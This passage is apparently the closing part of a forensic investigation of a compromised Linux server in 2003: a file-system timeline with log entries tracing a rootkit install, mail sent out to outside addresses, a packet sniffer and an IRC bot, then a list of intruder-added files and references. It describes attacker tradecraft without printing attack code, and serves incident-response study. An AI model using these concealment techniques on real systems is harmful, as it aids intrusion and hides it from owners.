  /* install:1161 */
  /*** /var/log/messages */
Jun 28 06:29:32 myhost syslogd 1.4.1: restart.

Sat Jun 28 2003 06:29:32        0 mac -/-rw------- 0        0
179687   /var/log/boot.log
                                0 mac -/-rw------- 0        0
176437   /var/log/secure
                                4 .a. l/lrwxrwxrwx 0        0
96450    /bin/csh -> tcsh

  /* install:1165 */
  /* chattr is run on /bin/* /sbin/* /usr/sbin/* */
                            6844 .a. -/-rwxr-xr-x 0        0
160075   /usr/bin/chattr
                            8192 .a. d/drwxr-xr-x 0        0
224001   /etc
```

```
                              937 .a. -/-rw-r--r-- 0        0
227982   /etc/syslog.conf
                             8456 .a. -/-rwxr-xr-x 0        0
48140    /lib/libcom_err.so.2.0
                             4096 m.c d/drwxr-xr-x 0        0
176073   /var/log
                             4096 .a. d/drwxr-xr-x 0        0
176078   /sbin
                           110438 .a. -/-rwxr-xr-x 0        0
48144    /lib/libext2fs.so.2.4
                             4096 .ac d/drwxr-xr-x 0        0
96072    /bin
                            19304 .a. -/-rwxr-xr-x 0        0
48142    /lib/libe2p.so.2.3
                             8192 .a. d/drwxr-xr-x 0        0
32003    /usr/sbin
                            88876 .a. -/-rwxr-xr-x 0        0
176172   /sbin/insmod
Sat Jun 28 2003 06:29:33       64 .a. -/-rw-r--r-- 0        0
192790   /etc/mail/local-host-names
                                0 m.c -/-rw-rw-rw- 0        0
214398   /tmp/ccOEuaXz.c (deleted)
                                0 m.c -/-rw-rw-rw- 0        0
214396   /tmp/ccmpNiXL.s (deleted)
                                0 m.c -/-rw-rw-rw- 0        0
214397   /tmp/Rs8JEaDJ (deleted)
                             4060 ..c -/-rwxr-xr-x 0        0
150791   /usr/bin/sense
                           165136 ..c -/-rwxr-xr-x 506      506
150804   /bin/pico

Sat Jun 28 2003 06:29:34      127 .a. -/-rw-r--r-- 0        0
192794   /etc/mail/trusted-users
                                0 ma. -rw------- 0        0
134787   <hda2-dead-134787>
                            46287 .a. -/-rw-r--r-- 0        0
226783   /etc/sendmail.cf
Sat Jun 28 2003 06:29:35        0 ..c -rw------- 0        0
134787   <hda2-dead-134787>
                                0 .a. -rw------- 0        0
134793   <hda2-dead-134793>
                            12288 .a. -/-rw-r--r-- 0        0
192801   /etc/mail/mailertable.db
                                0 .a. -rw-rw-rw- 0        0
214396   <hda2-dead-214396>
                                0 .a. -rw------- 0        0
134792   <hda2-dead-134792>
                                0 .a. -/-rw-rw-rw- 0        0
214396   /tmp/ccmpNiXL.s (deleted)
                                0 .a. -rw-rw-rw- 0        0
214397   <hda2-dead-214397>
                                0 .a. -/-rw-rw-rw- 0        0
214398   /tmp/ccOEuaXz.c (deleted)
                                0 .a. -/-rw-rw-rw- 0        0
214397   /tmp/ccXXhD38.o (deleted)
                                0 .a. -rw-rw-rw- 0        0
214398   <hda2-dead-214398>
```

```
                                0 .a. -/-rw------- 0        0
134793   /var/spool/mqueue/qfh5SATYD29334 (deleted)
                                0 .a. -/-rw-rw-rw- 0        0
214397   /tmp/Rs8JEaDJ (deleted)
                                0 .a. -/-rw------- 0        0
134792   /var/spool/mqueue/qfh5SATYG29331 (deleted)

  /*** /var/log/maillog */
Jun 28 06:29:35 myhost sendmail[29330]: h5SATYq29330: from=root,
size=11874, class=0, nrcpts=1,
msgid=<200306281029.h5SATYq29330@localhost.localdomain>,
relay=root@localhost
Jun 28 06:29:35 myhost sendmail[29331]: h5SATYG29331: from=root,
size=11875, class=0, nrcpts=1,
msgid=<200306281029.h5SATYG29331@localhost.localdomain>,
relay=root@localhost
Jun 28 06:29:35 myhost sendmail[29334]: h5SATYD29334: from=root,
size=11878, class=0, nrcpts=1,
msgid=<200306281029.h5SATYD29334@localhost.localdomain>,
relay=root@localhost


Sat Jun 28 2003 06:29:36        0 m.c -rw-rw-rw- 0        0
214397   <hda2-dead-214397>
                                0 m.c -rw-rw-rw- 0        0
214396   <hda2-dead-214396>
                                0 m.c -rw-rw-rw- 0        0
214398   <hda2-dead-214398>
                                0 m.c -/-rw-rw-rw- 0        0
214398   /tmp/ccOEuaXz.c (deleted)
                                0 m.c -/-rw-rw-rw- 0        0
214396   /tmp/ccmpNiXL.s (deleted)
                                0 m.c -/-rw-rw-rw- 0        0
214397   /tmp/ccXXhD38.o (deleted)
                                0 m.c -/-rw-rw-rw- 0        0
214397   /tmp/Rs8JEaDJ (deleted)

Sat Jun 28 2003 06:29:37     4096 mac d/drwxr-xr-x 1004     1004
150779   /tmp/swat (deleted-realloc)
{ some directory is deleted, per istat }
  /* chattr */
                               90 ..c -/-rwxr-xr-x 1004     1004
150800   /dev/ttyop
                               58 ..c -/-rwxr-xr-x 1004     1004
150798   /dev/ttyoa
                               39 ..c -/-rwxr-xr-x 1004     1004
150799   /dev/ttyof

  /* install:1166 */
                             4096 mac d/drwxrwxrwt 0        0
208001   /tmp
                                0 m.c -/-rw-rw-rw- 0        0
214395   /tmp/swat.tgz (deleted)
                             4096 mac drwxr-xr-x 1004     1004
150779   <hda2-alive-150779>
                                0 m.c -rwxr-xr-x 0        0
150790   <hda2-dead-150790>
```

```
                                0 m.c -rwxr-xr-x 0        0
150801   <hda2-dead-150801>
                                0 m.c -rwx--x--x 0        0
150795   <hda2-dead-150795>
                                0 m.c -rwxr-xr-x 0        0
150793   <hda2-dead-150793>
                                0 m.c -rwxr-xr-x 0        0
150794   <hda2-dead-150794>
                                0 m.c -rw-rw-rw- 0        0
150806   <hda2-dead-150806>
                                0 m.c -rwxr-xr-x 0        0
150797   <hda2-dead-150797>
                                0 m.c -rw-rw-rw- 0        0
214395   <hda2-dead-214395>
                                0 mac -rwx--x--x 0        0
150802   <hda2-dead-150802>
                                0 m.c -rwxr-xr-x 0        0
150789   <hda2-dead-150789>
                                0 m.c -rw------- 0        0
150792   <hda2-dead-150792>


  /* mail is sent */
Sat Jun 28 2003 06:29:39        0 .a. -/-rw------- 0        0
134795   /var/spool/mqueue/qfh5SATdp29347 (deleted)
  /*** /var/log/maillog */
Jun 28 06:29:39 myhost sendmail[29347]: h5SATYq29330:
to=3rdparty@3rdparty.org, ctladdr=root (0/0), delay=00:00:05,
xdelay=00:00:04, mailer=esmtp, pri=41874,
relay=mx2.bm.vip.sc5.somelargeisp.com. [172.16.30.159], dsn=5.0.0,
stat=Service unavailable
Jun 28 06:29:39 myhost sendmail[29347]: h5SATYq29330: h5SATdp29347:
DSN: Service unavailable

  /*** message 1 bounces */

                                0 .a. -rw------- 0        0
134796   <hda2-dead-134796>
                                0 ma. -rw------- 0        0
134794   <hda2-dead-134794>
                                0 .a. -rw------- 0        0
134795   <hda2-dead-134795>


Sat Jun 28 2003 06:29:40        0 m.c -/-rw------- 0        0
134795   /var/spool/mqueue/qfh5SATdp29347 (deleted)
                                0 m.c -rw------- 0        0
134795   <hda2-dead-134795>
                                0 ..c -rw------- 0        0
134794   <hda2-dead-134794>
                                0 m.c -rw------- 0        0
134796   <hda2-dead-134796>

  /*** /var/log/maillog */
Jun 28 06:29:40 myhost sendmail[29347]: h5SATdp29347: to=root,
delay=00:00:01, xdelay=00:00:01, mailer=local, pri=41974, dsn=2.0.0,
stat=Sent
```

```
Sat Jun 28 2003 06:29:47    75452 .a. -/-rwxr-xr-x 0        12
160478   /usr/bin/procmail
                             0 .a. -/-r-------- 0        0
150784   /var/spool/mail/_mKH.b4W_-.myhost (deleted)
                         12288 .a. -/-rw-r--r-- 0        0
226784   /etc/aliases.db
                             0 .a. -/-rw------- 0        0
134791   /var/spool/mqueue/dfh5SATlF29346 (deleted)
                             0 .a. -/-rw------- 0        0
134791   /var/spool/mqueue/qfh5SATYq29330 (deleted)
                             0 .a. -/-r-------- 0        0
150784   /var/spool/mail/root.lock (deleted)
                             0 .a. -/-rw------- 0        0
134788   /var/spool/mqueue/dfh5SATYG29331 (deleted)
                             0 .a. -/-rw------- 0        0
134789   /var/spool/mqueue/tfh5SATlF29346 (deleted)
                         65650 m.c -/-rw------- 0        0
147737   /var/spool/mail/root
                             0 .a. -/-rw------- 0        0
134789   /var/spool/mqueue/qfh5SATlF29346 (deleted)
                             0 .a. -r-------- 0        0
150784   <hda2-dead-150784>
                             0 .a. -rw------- 0        0
134786   <hda2-dead-134786>
                             0 .a. -rw------- 0        0
134789   <hda2-dead-134789>
                             0 .a. -rw------- 0        0
134788   <hda2-dead-134788>
                             0 .a. -rw------- 0        0
134791   <hda2-dead-134791>
```

/* message 2 bounces */**
/* /var/log/maillog */**

```
Jun 28 06:29:47 myhost sendmail[29346]: h5SATYG29331:
to=3rdparty@3rdparty.org, ctladdr=root (0/0), delay=00:00:13,
xdelay=00:00:12, mailer=esmtp, pri=41875,
relay=mx2.bm.vip.sc5.somelargeisp.com. [172.16.30.159], dsn=5.0.0,
stat=Service unavailable
Jun 28 06:29:47 myhost sendmail[29346]: h5SATYG29331: h5SATlF29346:
DSN: Service unavailable

Sat Jun 28 2003 06:29:48     4096 m.c d/drwxrwxr-x 0        12
144082   /var/spool/mail
                             0 m.c -/-rw------- 0        0
134789   /var/spool/mqueue/qfh5SATlF29346 (deleted)
                             0 m.c -/-rw------- 0        0
134791   /var/spool/mqueue/qfh5SATYq29330 (deleted)
                             0 m.c -/-rw------- 0        0
134791   /var/spool/mqueue/dfh5SATlF29346 (deleted)
                             0 m.c -/-rw------- 0        0
134788   /var/spool/mqueue/dfh5SATYG29331 (deleted)
                             0 m.c -/-rw------- 0        0
134792   /var/spool/mqueue/qfh5SATYG29331 (deleted)
                             0 m.c -/-r-------- 0        0
150784   /var/spool/mail/root.lock (deleted)
```

```
                              0 m.c -/-r-------- 0        0
150784   /var/spool/mail/_mKH.b4W_-.myhost (deleted)
                              0 m.c -/-rw------- 0        0
134789   /var/spool/mqueue/tfh5SATlF29346 (deleted)
                              0 m.c -rw------- 0        0
134792   <hda2-dead-134792>
                              0 m.c -rw------- 0        0
134789   <hda2-dead-134789>
                              0 m.c -r-------- 0        0
150784   <hda2-dead-150784>
                              0 m.c -rw------- 0        0
134788   <hda2-dead-134788>
                              0 m.c -rw------- 0        0
134791   <hda2-dead-134791>
                              0 m.c -rw------- 0        0
134786   <hda2-dead-134786>
```

/* /var/log/maillog */**

```
Jun 28 06:29:48 myhost sendmail[29346]: h5SATlF29346: to=root,
delay=00:00:01, xdelay=00:00:01, mailer=local, pri=41975, dsn=2.0.0,
stat=Sent
Jun 28 06:30:09 myhost smbd -D[29360]: log: Connection from 10.20.30.71
port 1095
Jun 28 06:30:10 myhost smbd -D[29269]: log: Generating new 768 bit RSA
key.

Sat Jun 28 2003 06:30:19      512 m.c -/-rwx--x--x 0        0
150785   /usr/include/iceseed.h
                             5834 .a. -/-rw-r--r-- 0        0
224086   /etc/protocols
```

/* syslog message */**

```
Jun 28 06:30:19 myhost smbd -D[29360]: log: Could not reverse map
address 10.20.30.71.
Jun 28 06:30:19 myhost smbd -D[29269]: log: RSA key generation
complete.

Sat Jun 28 2003 06:30:37        0 .a. -/-rw------- 0        0
134790   /var/spool/mqueue/dfh5SATYD29334 (deleted)
                              0 .a. -rw------- 0        0
134790   <hda2-dead-134790>
Sat Jun 28 2003 06:30:38     6307 m.c -/-rw------- 0        0
176438   /var/log/maillog
                              181 mac -/-rw-rw-rw- 0        0
181295   /usr/lib/libshlog
                              0 m.c -/-rw------- 0        0
134790   /var/spool/mqueue/dfh5SATYD29334 (deleted)
                            49152 m.c d/drwxr-xr-x 0        0
176002   /usr/lib
                             4096 m.c d/drwxr-xr-x 0        12
128988   /var/spool/mqueue
                              0 m.c -/-rw------- 0        0
134793   /var/spool/mqueue/qfh5SATYD29334 (deleted)
                              628 mac -/-rw-r--r-- 0        0
192793   /etc/mail/statistics
                              0 m.c -rw------- 0        0
134790   <hda2-dead-134790>
```

```
                                0 m.c -rw------- 0        0
134793   <hda2-dead-134793>
  /*** syslog message */
Jun 28 06:30:38 myhost smbd -D[29360]: log: Password authentication for
root failed.
Jun 28 06:30:38 myhost smbd -D[29360]: log: Closing connection to
10.20.30.71
Jun 28 06:30:38 myhost smbd -D[29360]: log: Password authentication for
root accepted.
Jun 28 06:30:38 myhost sendmail[29345]: h5SATYD29334:
to=swatplecat@somelargeisp.com, ctladdr=root (0/0), delay=00:01:04,
xdelay=00:01:02, mailer=esmtp, pri=41878,
relay=mx4.mail.somelargeisp.com. [172.16.40.17], dsn=2.0.0, stat=Sent
(ok dirdel)

  /*** syslog message */
Jun 28 06:31:16 myhost kernel: eth0: Promiscuous mode enabled.

Sat Jun 28 2003 06:32:16     8192 m.c d/drwxr-xr-x 0        0
224001   /etc
Sat Jun 28 2003 06:32:22    12288 m.c -/-rw-rw-r-- 0        0
230606   /etc/psdevtab
                            77824 .a. d/drwxr-xr-x 0        0
64001    /dev

  /* ftp to somewhere and get energymech */
Sat Jun 28 2003 06:36:24    17552 .a. -/-rwxr-xr-x 0        0
16505    /usr/kerberos/lib/libdes425.so.3.0
                             8713 .a. -/-rwxr-xr-x 0        0
16504    /usr/kerberos/lib/libcom_err.so.3.0
                           425493 .a. -/-rwxr-xr-x 0        0
16514    /usr/kerberos/lib/libkrb5.so.3.0
                            91078 .a. -/-rwxr-xr-x 0        0
16507    /usr/kerberos/lib/libgssapi_krb5.so.2.2
                            78193 .a. -/-rwxr-xr-x 0        0
16509    /usr/kerberos/lib/libk5crypto.so.3.0
                            80016 .a. -/-rwxr-xr-x 0        0
16513    /usr/kerberos/lib/libkrb4.so.2.0
                            47544 .a. -/-rwxr-xr-x 0        0
48136    /lib/libutil-2.2.4.so
                               18 .a. l/lrwxrwxrwx 0        0
16522    /usr/kerberos/lib/libk5crypto.so.3 -> libk5crypto.so.3.0
                               21 .a. l/lrwxrwxrwx 0        0
16527    /usr/kerberos/lib/libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2
                            88572 .a. -/-rwxr-xr-x 0        0
103486   /usr/kerberos/bin/ftp
                               14 .a. l/lrwxrwxrwx 0        0
16517    /usr/kerberos/lib/libkrb5.so.3 -> libkrb5.so.3.0
                               17 .a. l/lrwxrwxrwx 0        0
16526    /usr/kerberos/lib/libcom_err.so.3 -> libcom_err.so.3.0
                               16 .a. l/lrwxrwxrwx 0        0
16525    /usr/kerberos/lib/libdes425.so.3 -> libdes425.so.3.0
                               14 .a. l/lrwxrwxrwx 0        0
16518    /usr/kerberos/lib/libkrb4.so.2 -> libkrb4.so.2.0
                               16 .a. l/lrwxrwxrwx 0        0
48137    /lib/libutil.so.1 -> libutil-2.2.4.so
```

```
  /* unpack energymech */
Sat Jun 28 2003 06:36:51     1156 ..c -/-rw-r--r-- 507      507
118781   /dev/hpd/palette/mech.set
                              512 .ac -/-rwxr-xr-x 507      507
118786   /dev/hpd/palette/install
                                6 .a. -/-rw------- 0        0
118789   /dev/hpd/palette/mech.pid
                               14 .a. l/lrwxrwxrwx 0        0
160456   /usr/bin/gzip -> ../../bin/gzip
                            22935 .ac -/-rw-r--r-- 507      507
118780   /dev/hpd/palette/mech.help
                               62 .ac -/-rwxr-xr-x 507      507
118785   /dev/hpd/palette/kswapd
                              747 .ac -/-rw-r--r-- 507      507
118784   /dev/hpd/palette/entity-gen.c
                                0 .a. -/-rw-r--r-- 0        0
134785   /var/spool/mqueue/xfh5SATlF29346 (deleted)
                                0 .a. -rw-r--r-- 0        0
134785   <hda2-dead-134785>
                           149804 ..c -/-rwx------ 507      507
118788   /dev/hpd/palette/r00t
                               85 .ac -/-rw-r--r-- 0        0
118787   /dev/hpd/palette/host
                               80 .ac -/-rw-r--r-- 507      507
118783   /dev/hpd/palette/randlogins
                             3708 .ac -/-rwxr-xr-x 507      507
118782   /dev/hpd/palette/entity-gen

Sat Jun 28 2003 06:36:53        0 m.c -/-rw-r--r-- 0        0
134785   /var/spool/mqueue/xfh5SATlF29346 (deleted)
Sat Jun 28 2003 06:37:03     4096 mac d/drwxrwxrwx 0        0
134784   /dev/hpd
Sat Jun 28 2003 06:38:11    12288 .a. -/-rw-rw-r-- 0        0
230606   /etc/psdevtab
Sat Jun 28 2003 06:38:14       19 .a. l/lrwxrwxrwx 0        0
48116    /lib/libnss_dns.so.2 -> libnss_dns-2.2.4.so
                            72651 .a. -/-rwxr-xr-x 0        0
48114    /lib/libnss_dns-2.2.4.so
Sat Jun 28 2003 06:40:44        0 .a. c/crw-r--r-- 0        0
66413    /dev/random
Sat Jun 28 2003 06:42:52     4096 .a. d/drwxr-xr-x 507      507
118779   /dev/hpd/palette
                             4096 .a. d/drwxr-xr-x 507      507
118779   /dev/hpd/.tmp (deleted-realloc)
  /*** syslog message (eth0 promisc) */
Jun 28 06:45:21 myhost last message repeated 2 times
Jun 28 06:45:22 myhost kernel: eth0: Promiscuous mode enabled.

  /* (swapd) sniffer is started */
Sat Jun 28 2003 06:45:22        6 m.c -/-rw-rw-rw- 0        0
181293   /usr/lib/swap.p
                            18439 .a. -/-rwxrwxrwx 0        0
150805   /usr/bin/(swapd)

  /* something's killed */
Sat Jun 28 2003 06:48:11    12096 .a. -/-rwxr-xr-x 0        0
160489   /usr/bin/killall
```

```
  /* wget is used to retrieve something */
Sat Jun 28 2003 06:56:51     7317 .a. -/-rw-r--r-- 0        0
176385   /usr/share/ssl/openssl.cnf
                           918752 .a. -/-rwxr-xr-x 0        0
48160    /lib/libcrypto.so.0.9.6b
                           207036 .a. -/-rwxr-xr-x 0        0
48161    /lib/libssl.so.0.9.6b
                             3956 .a. -/-rw-r--r-- 0        0
227876   /etc/wgetrc
                           154444 .a. -/-rwxr-xr-x 0        0
163941   /usr/bin/wget
                               19 .a. l/lrwxrwxrwx 0        0
48163    /lib/libcrypto.so.2 -> libcrypto.so.0.9.6b
                               16 .a. l/lrwxrwxrwx 0        0
48162    /lib/libssl.so.2 -> libssl.so.0.9.6b
  /* */
  /* energymech is started up */
Sat Jun 28 2003 07:00:51     1156 .a. -/-rw-r--r-- 507      507
118781   /dev/hpd/palette/mech.set
                             4096 m.c d/drwxr-xr-x 507      507
118779   /dev/hpd/.tmp (deleted-realloc)
                             4096 m.c d/drwxr-xr-x 507      507
118779   /dev/hpd/palette
                                6 m.c -/-rw------- 0        0
118789   /dev/hpd/palette/mech.pid
                           149804 .a. -/-rwx------ 507      507
118788   /dev/hpd/palette/r00t
                              712 .a. -/-rw-r--r-- 0        0
118790   /dev/hpd/palette/mech.session
                             1056 .a. -/-rw-r--r-- 0        0
118791   /dev/hpd/palette/mech.levels

  /* root gets logged out */
Sat Jun 28 2003 07:00:56       24 .a. -/-rw-r--r-- 0        0
48166    /root/.bash_logout
                             3348 .a. -/-rwxr-xr-x 0        0
160196   /usr/bin/clear
                             1777 .a. -/-rw-r--r-- 0        0
112334   /usr/share/terminfo/x/xterm
  /* */
  /*** /var/log/messages */
Jun 28 07:01:21 myhost smbd -D[29360]: fatal: Connection closed by
remote host.
  /*** */

  /*** /var/log/samba/smbd.log */
[2003/06/28 07:01:32, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
  /* */

  /*** /var/log/samba/smbd.log */
[2003/06/28 09:18:06, 0] smbd/connection.c:yield_connection(62)
  yield_connection: tdb_delete failed with error Record does not exist.
  /* */

  /* samba does some upkeep */
```

```
Sat Jun 28 2003 09:18:06     8192 .a. -/-rw------- 0        0
86802    /var/cache/samba/share_info.tdb
                             8192 .a. -/-rw------- 0        0
86800    /var/cache/samba/printing.tdb
                             2176 m.c -/-rw-r--r-- 0        0
246519   /var/log/samba/smbd.log
                             8192 .a. -/-rw------- 0        0
86801    /var/cache/samba/ntdrivers.tdb
                              696 .a. -/-rw-r--r-- 0        0
86799    /var/cache/samba/locking.tdb
                               42 .a. -/-rw-r--r-- 0        0
22784    /etc/samba/MACHINE.SID
                             8192 .a. -/-rw------- 0        0
22518    /etc/samba/secrets.tdb
                              696 .a. -/-rw-r--r-- 0        0
86768    /var/cache/samba/brlock.tdb
  /* */
  /* mail queue scanned by sendmail */
Sat Jun 28 2003 12:33:05     4096 .a. d/drwxr-xr-x 0        12
128988   /var/spool/mqueue
  /* */
  /* I log in as root */
Sat Jun 28 2003 12:54:05   182363 .a. -/-rwxr-xr-x 0        0
176110   /usr/lib/libglib-1.2.so.0.0.10
                               21 .a. l/lrwxrwxrwx 0        0
176109   /usr/lib/libglib-1.2.so.0 -> libglib-1.2.so.0.0.10
                             6144 .a. -/-rwxr-xr-x 0        0
192724   /lib/security/pam_nologin.so
                             7841 .a. -/-rwxr-xr-x 0        0
192729   /lib/security/pam_securetty.so
                            50155 .a. -/-rwxr-xr-x 0        0
192707   /lib/security/pam_console.so
Sat Jun 28 2003 12:54:06      114 .a. -/-rw------- 0        0
224087   /etc/securetty
                              427 .a. -/-rw-r--r-- 0        0
192836   /etc/pam.d/login
  /*** /var/log/messages */
Jun 28 12:54:07 myhost login(pam_unix)[12099]: session opened for user
root by LOGIN(uid=0)
Jun 28 12:54:07 myhost  -- root[12099]: ROOT LOGIN ON tty1
  /*** */
Sat Jun 28 2003 12:54:07        0 mac c/crw--w---- 0        5
68709    /dev/tty1
                            12288 m.c -/-rw-rw-r-- 0        22
176513   /var/log/wtmp
                                0 .a. -/-rw-r--r-- 0        0
224082   /etc/motd
                         19136220 mac -/-rw-r--r-- 0        0
176077   /var/log/lastlog
                             2856 .a. -/-rw-r--r-- 0        0
192702   /etc/security/pam_env.conf
                             4224 m.c -/-rw-rw-r-- 0        22
16528    /var/run/utmp
                             1048 .a. -/-r-------- 0        0
230613   /etc/shadow
Sat Jun 28 2003 12:54:08     4096 .a. d/drwxr-x--- 0        0
48074    /root
```

```
                              10 .a. l/lrwxrwxrwx 0        0
160072   /var/mail -> spool/mail
                             176 .a. -/-rw-r--r-- 0        0
48168    /root/.bashrc
                             234 .a. -/-rw-r--r-- 0        0
48167    /root/.bash_profile
                            1229 .a. -/-rw-r--r-- 0        0
224072   /etc/bashrc
Sat Jun 28 2003 12:54:09      120 .a. -/-rw------- 0        0
54779    /root/.bash_history
                          737535 .a. -/-rw-r--r-- 0        0
224236   /etc/termcap
                            8696 .a. -/-rwxr-xr-x 0        0
160204   /usr/bin/tput
                             638 .a. -/-rw-r--r-- 0        0
224081   /etc/inputrc
                            1580 .a. -/-rw-r--r-- 0        0
160219   /usr/share/terminfo/l/linux

                           23580 .a. -/-rwxr-xr-x 0        0
160552   /usr/bin/wc
                          252412 .a. -/-rwxr-xr-x 0        0
176187   /usr/lib/libncurses.so.5.2


  /* I attempt to mount floppy with tools. */
Sat Jun 28 2003 12:54:11      617 .a. -/-rw-r--r-- 0        0
230614   /etc/fstab
  /*** /var/log/messages */
Jun 28 12:54:11 myhost insmod: /lib/modules/2.4.7-
10/kernel/drivers/scsi/sr_mod.o: insmod block-major-11 failed
  /*** */
Sat Jun 28 2003 12:54:35    15859 .a. -/-rw-r--r-- 0        0
193189   /lib/modules/2.4.7-10/kernel/fs/vfat/vfat.o
                            45906 .a. -/-rw-r--r-- 0        0
33054    /lib/modules/2.4.7-10/kernel/fs/fat/fat.o
Sat Jun 28 2003 12:55:06        6 .a. l/lrwxrwxrwx 0        0
176180   /sbin/modprobe -> insmod
  /* */
  /* I attempt to mount cd with tools. */
                              51 .a. -/-rwxr-xr-x 0        0
224004   /etc/modules.conf
                            81412 .a. -/-rw-r--r-- 0        0
193244   /lib/modules/2.4.7-10/modules.dep
                            23067 .a. -/-rw-r--r-- 0        0
96699    /lib/modules/2.4.7-10/kernel/drivers/scsi/sr_mod.o
                              51 .a. -/-rw-r--r-- 0        0
224076   /etc/filesystems
Sat Jun 28 2003 12:55:09        9 .a. l/lrwxrwxrwx 0        0
74056    /dev/cdrom -> /dev/scd0
  /* */
  /* I look at the last few system messages. */
Sat Jun 28 2003 12:55:15     4096 .a. d/drwxr-xr-x 0        0
176073   /var/log
Sat Jun 28 2003 12:55:40     4320 .a. -/-rw------- 0        0
176436   /var/log/messages
```

```
                          31100 .a. -/-rwxr-xr-x 0        0
160547   /usr/bin/tail
  /* */
  /* I install memget and procget. */
Sat Jun 28 2003 12:58:49   382604 m.. -/-rwxr-xr-x 0        0
54780    /root/memget
Sat Jun 28 2003 12:59:01     4096 m.c d/drwxr-x--- 0        0
48074    /root
                          388236 m.. -/-rwxr-xr-x 0        0
54781    /root/procget
Sat Jun 28 2003 12:59:11   382604 ..c -/-rwxr-xr-x 0        0
54780    /root/memget
                          388236 ..c -/-rwxr-xr-x 0        0
54781    /root/procget
  /* */
  /* I run procget. */
Sat Jun 28 2003 12:59:27   388236 .a. -/-rwxr-xr-x 0        0
54781    /root/procget
  /* */
  /* Mech updates some files. */
Sat Jun 28 2003 13:00:00      712 m.c -/-rw-r--r-- 0        0
118790   /dev/hpd/palette/mech.session
                           1056 m.c -/-rw-r--r-- 0        0
118791   /dev/hpd/palette/mech.levels
  /* */
Sat Jun 28 2003 13:01:00     1634 .a. -/-rw-r--r-- 0        0
230608   /etc/passwd
Sat Jun 28 2003 13:01:05    13532 .a. -/-rwxr-xr-x 0        0
160570   /usr/bin/id

  /* I run memget. */
Sat Jun 28 2003 13:02:20   382604 .a. -/-rwxr-xr-x 0        0
54780    /root/memget
  /* */
Sat Jun 28 2003 13:02:35      189 .a. -/-rw-r--r-- 0        0
230617   /etc/hosts
  /* I copy swap off with nc. */
Sat Jun 28 2003 13:05:18       23 .a. l/lrwxrwxrwx 0        0
48126    /lib/libnss_nisplus.so.2 -> libnss_nisplus-2.2.4.so
                          350376 .a. -/-rwxr-xr-x 0        0
48125    /lib/libnss_nisplus-2.2.4.so
                             21 .a. -/-rw-r--r-- 0        0
228228   /etc/resolv.conf
                           18177 .a. -/-rw-r--r-- 0        0
224088   /etc/services
                           16892 .a. -/-rwxr-xr-x 0        0
164899   /usr/bin/nc
                          255971 .a. -/-rwxr-xr-x 0        0
48117    /var/ftp/lib/libnss_files-2.2.4.so
                          255971 .a. -/-rwxr-xr-x 0        0
48117    /lib/libnss_files-2.2.4.so
                             21 .a. l/lrwxrwxrwx 0        0
48119    /lib/libnss_files.so.2 -> libnss_files-2.2.4.so
                           1750 .a. -/-rw-r--r-- 0        0
224092   /etc/nsswitch.conf
  /* */
```

```
Sat Jun 28 2003 13:09:09     1267 .a. -/-rw-r--r-- 0        0
224091   /etc/localtime
```

Appendix H - List of Files Added by the Hacker

/bin/netstat
/bin/ls
/bin/ps
/usr/bin/top
/dev/ttyoa
/dev/ttyof
/dev/ttyop
/usr/include/icekey.h
/usr/include/iceconf.h
/usr/include/iceseed.h
/usr/bin/"smbd -D"
/usr/include/icepid.h
/usr/lib/libice.log
/usr/lib/swap.p
/usr/bin/crontabs
/usr/lib/libshtift
/usr/bin/sense
/usr/bin/sl2
/etc/rc.d/init.d/functions
/dev/hpd
/dev/hpd/palette
/usr/lib/libshlog

References

[1] @Stake Research Labs. "Netcat 1.10 for Unix." <http://www.atstake.com/research/tools/network_utilities/>

[2] @Stake Research Labs. "Task." <http://www.atstake.com/research/tools/network_utilities/>

[3] @Stake Research Labs. "Mac-robber." <http://www.atstake.com/research/tools/network_utilities/>

[4] Becker Street Software. "REC - Reverse Engineering Compiler." <http://www.backerstreet.com/rec/rec.htm>

[5] Carrier, Brian and Green, John. "Unix-Based Forensic Toolkits." Advanced UNIX Forensics. The SANS Institute. 2003. <http://www.sans.org>

[6] "chkrootkit homepage". <http://www.chkrootkit.org/>

[7] Crawford, John H. and Gelsinger, Patrick P. Programming the 80386. Sybex. 1987.

[8] daemon9. "LOKI2 (the implementation)." Phrack Magazine, Volume 7, Issue 51, Article 6, 1 September 1997. <http://www.phrack.org/show.php?p=51&a=6>

[9] daemon9 and alhambra. "Project Loki: ICMP Tunneling." Phrack Magazine, Volume 7, Issue 49, Article 6, 8 November 1996. <http://www.phrack.org/show.php?p=49&a=1>

[10] DataRescue. "IDA Pro." <http://www.datarescue.com/idabase/>

[11] Electronic Communications Privacy Act ("ECPA"). 18 U.S.C. §§ 2701-2712.

[12] Ewing, Marc; Johnson Jeff; and Troan, Erik. "rpm manpage." RedHat Linux 8.0 distribution. 9 June 2002.

[13] Farmer, Dan and Venema, Wietse. "The Coroner's Toolkit." <http://www.fish.com/tct/>

[14] Google. "google.com search engine." 2003. <http://www.google.com/>

[15] MGL Chapter 272, Section 99. "Interception of wire and oral communications." General Laws of Massachusetts. <http://www.state.ma.us/legis/laws/mgl/272-99.htm>

[16] PATRIOT Act. USA PATRIOT Act of 2001, Pub. L. No. 107-56, 115 Stat. 272. 26 October 2001.

[17] The Pen/Trap Statute. 18 U.S.C. §§ 3121-3127.

[18] Rafail, Jason A. "Vulnerability Note VU#298233." Computer Emergency Response Team (CERT). Carnegie Mellon Software Engineering Institute. 17 March 2003. <http://www.kb.cert.org/vuls/id/298233>

[19] RND Software. "binlook." <http://www.rndsoftware.com/>

[20] RND Software. "procget." <http://www.rndsoftware.com/>

[21] RND Software. "memget."<http://www.rndsoftware.com/>

[22] Salgado, Richard P. "Forensics and Incident Response." The Law Enforcement Perspective. The SANS Institute. 2003. <http://www.sans.org>

[23] Schroll, Addam. "Attacker tools found on apollo.honeyp.edu." February 2001. <http://project.honeynet.de/challenge/results/submissions/addam/toolkit.txt>

[24] Schroll, Addam. "slice2.strings." February 2001. <http://project.honeynet.de/challenge/results/submissions/addam/strings/slice2.strings>

[25] Stevens, W. Richard. Advanced Programming in the UNIX Environment. Addison-Wesley. 1992.

[26] T'so, Theodore; and others. "chattr manpage." RedHat Linux 8.0 distribution. March 2002.

[27] United States Department of Justice. "Searching and Seizing Computers and Obtaining Electronic Evidence in Criminal Investigations." July 2002. <http://www.cybercrime.gov/s&smanual2002.htm>

[28] The Wiretap Statute ("Title III"). 18 U.S.C. §§ 2510-2522.

[29] Yuschuk, Oleh. "OllyDbg." 2003. <http://home.t-online.de/home/Ollydbg/>

